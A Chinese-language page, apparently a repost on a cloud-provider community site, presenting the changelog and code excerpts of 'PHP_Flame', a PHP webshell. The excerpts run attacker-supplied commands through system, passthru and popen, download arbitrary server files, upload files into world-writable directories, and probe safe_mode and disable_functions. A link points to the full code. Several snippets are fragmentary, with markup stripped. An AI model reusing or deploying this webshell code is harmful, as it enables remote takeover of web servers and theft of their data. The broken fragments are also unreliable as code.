PHP_Flame(Version:Progress)的原代碼_PHP

來源:互聯網
上載者:User
關鍵字 代碼 echo if name method value
IPHP_Flame (Version: Progress ) 的一些資訊:



*修正了無法下載檔案的BUG
*修正了無法返回上級的BUG
*修正了代碼編輯出現錯誤的BUG
......

*增加PHPINFO的功能
*增加多檔案下載的功能
*增加執行系統命令的功能
*增加代碼查看功能
*增加伺服器安全探測功能
.......

*還有許多美化工作。。。。。。 相關的資料:


1。修正了無法返回上級的BUG的代碼:
echo "返回上級";


2。修正了無法下載檔案的相關代碼:
case "download":
if (!@is_file($_GET['file_name']))
echo"你要下的檔案不存在";
$filename = basename($_GET['file_name']);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($_GET['file_name']);
break;



3。增加代碼查看功能
?actionaa=cmd&method=show_source&cmd=" target=_blank>檔案代碼


4。修正了代碼編輯出現錯誤的代碼:
$tem= str_replace("/textarea>","//textarea>",$tem);
。。。。。
$tem= str_replace("//textarea>","/textarea>",$tem);


5。增加伺服器安全探測功能:
if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo(" no value");
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
echo("$dis_func");
}


6。執行系統命令部分的代碼:
if ($actionaa=="cmd") { ?>


if (!$method) { $method="system"; }
if (!$cmd) {
echo "* JSW'S PHP FLAME
";
echo "* Author: JSW
";
echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo(" no value");
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
echo("$dis_func");
}

echo "
* Now please choose a function and enter the command......";
}
echo "
"; 
if ($method=="system") {
system("$cmd 2>&1");
}
if ($method=="passthru") {
passthru("$cmd 2>&1");
}
if ($method=="opendir") {
$h=opendir($cmd);
while($file=readdir($h)) {
echo "$file\n";
}
}
if ($method=="show_source") {
if (show_source($cmd)) {
//echo "
"; 
//echo show_source($file);
//echo "
";
} else {
echo "";
}

}
if ($method=="popen") {
$pp = popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "
";
exit;
}
?>

7。增加檔案上傳的代碼:
if($dir=="")
$dir="./";
?>
if($tools==upload)
{
for($i=1;$i<21;$i++)
{
$temp1="userfile".$i;
$temp2="userfile".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆蓋上傳
";
}
else
echo $source_name."請重新上傳!
";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上傳
";
}
}
}//end for
echo"


JSW'S PHP FLAME











";
exit;}
?>


。。。。。。
最後指明的是,這個PHP程式是在安然的PHP Command的基礎上編寫的,在此表示感謝,完整代碼:http://jsw.china12e.com/jswsoft/show.php
  • 相關文章

    聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.